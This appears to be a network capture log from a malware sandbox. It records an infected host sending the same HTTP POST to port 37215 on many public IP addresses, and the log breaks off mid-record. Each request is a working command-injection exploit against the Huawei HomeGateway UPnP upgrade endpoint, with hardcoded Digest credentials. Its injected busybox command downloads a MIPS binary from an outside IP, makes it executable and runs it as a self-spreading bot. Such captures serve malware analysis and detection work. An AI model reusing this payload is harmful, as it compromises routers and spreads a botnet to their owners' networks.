Oct 17, 2024 02:19:43.486500025 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.14	41126	197.137.107.247	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.488833904 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.14	34770	41.70.217.138	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.491396904 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.14	47740	41.233.212.51	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.493700027 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.14	52128	156.107.220.177	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.496649981 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.14	43276	197.251.236.170	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.498893976 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.14	56800	41.252.236.8	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.501559019 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.14	54266	41.4.146.210	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.503931999 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.14	40760	156.215.137.184	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.506834984 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.14	51690	156.36.78.206	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.509507895 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.14	48420	41.108.18.107	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.512592077 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 